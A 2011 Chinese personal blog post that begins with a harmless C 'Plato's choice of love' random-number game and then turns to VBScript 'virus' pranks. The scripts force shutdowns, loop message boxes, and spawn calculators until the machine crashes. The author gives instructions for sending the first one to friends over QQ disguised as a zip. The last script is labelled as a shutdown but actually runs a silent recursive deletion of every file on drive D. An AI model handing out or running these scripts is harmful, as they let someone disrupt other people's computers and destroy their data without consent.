代码改变世界

从百度趣味赛--柏拉图爱情选择说起

2011-05-26 14:47  sensensen  阅读(256)  评论(0编辑  收藏  举报

昨天晚上在百度之星上面看到趣味赛中别人编写的一个程序,觉得非常有意思,不曾想过,程序也可以这么的有趣味,像讲述了一个故事一般。

实现代码如下:

#include "stdafx.h"
#include
<stdio.h>
#include
<stdlib.h>
#include
<time.h>

int main()
{
printf(
"有一天,柏拉图 问 苏格拉底:什么是爱情?\n"
"苏格拉底 微笑着 说:你从下面依次出现的数字里 选择最大的一个,只能选一次,不能回头。\n"
"(按回车键 跳到下一个;输入\'y\'选定。)\n"
);

srand ( time(NULL) );

for (int chance = 10; chance > 0; chance--)
{
printf(
"第%d个: %d\n", 11 - chance, rand() % 1000);
if (getchar() == 'y')
{
printf(
"你或许已经懂得了 爱情。\n");
getchar();
getchar();
system(
"pause");
return 0;
}
}
printf(
"柏拉图叹了口起气说:很难得看见一个不错的,却不知道是不是最好的,因为只可以选一个,无奈只好放弃;"
"于是,再往前走,看看有没有更好的,可是我越往前走,越发觉不如以前见到的好,所以我没有选;"
"当已经走到尽头时,才发觉原来最好的早已错过了!\n"
"苏格拉底意味深长地说:这就是‘爱情’。\n"
);
getchar();
getchar();
return 0;
}

这里面有几个知识点,我要学习一下:

首先一般随机数产生rand()前都要调用srand(time(NULL));他们需要使用stdlib.h和time.h。

其次,停止程序,让等待的办法有system("pause");

最后,这个程序的exe,有的电脑上不能运行,然而把一些项目属性改了以后就可以运行了。这个我还不是很了解。

not using ATL->static link to ATL.

我还改了MFC那一项,不过据说改ATL就可以了。不知道why。有知道的TX可以告诉我一下。

由于编写了这个呢,我发给了H同学看,H同学就传给了我一个病毒制作办法,让我开始对VBS颇有兴趣。

说到底呢,他这个病毒,就是在VBS中调用命令行语句,shutdown -r -t 60 -c (让60s后关机)

 具体内容如下:

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,你试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵,猪"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"

  
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友。这就是个病毒啦。

知道了这个应对这个病毒也很简单,在命令行里面键入shutdown -a就可以啦。O(∩_∩)O哈哈~ 不过一般来说装了杀毒软件的电脑可以检测出来它是个病毒并把它删掉,呼呼~~由于这些程序呢让我对VBS有点兴趣,所以我开始做一点VBS的基础的编程。在网上下载了EditPlus支持语法高亮的笔记本式编程软件。把VBS基础练习了再来发帖啦~

REM 输入并回显你的名字
'使用函数
Dim name,msg
msg
="请输入你的名字"
name
=Inputbox(msg,"hehe","xixi")
'参数第二个是框的名字,第三个是默认的输入内容
MsgBox name

REM和'都是备注的意思,这个程序我就不多说了,运行无误。

VBS=VB script,是基于VB的脚本语言,不编译成二进制文件,直接由宿主解释源代码并执行。可以用来编病毒。其中很多是利用set ush=createobject("wscript.shell")来做的。

VBS不需要编译,直接解释。所以用不到条件编译。

还有VBS里面的变量可以不定义变量类型int,char等等,直接一个dim。

上面的不是病毒,下面来写几个病毒:

do
msgbox
"You are foolish!"
loop

2.打开无数个计算器直到死机

set wsh=createobject("wscript.shell")
do
wsh.run
"calc"
loop

3.直接关机

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
4.直接关机

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

参考文献:

http://hi.baidu.com/the90hou/blog/item/968d16fe8ee16b0109244d9d.html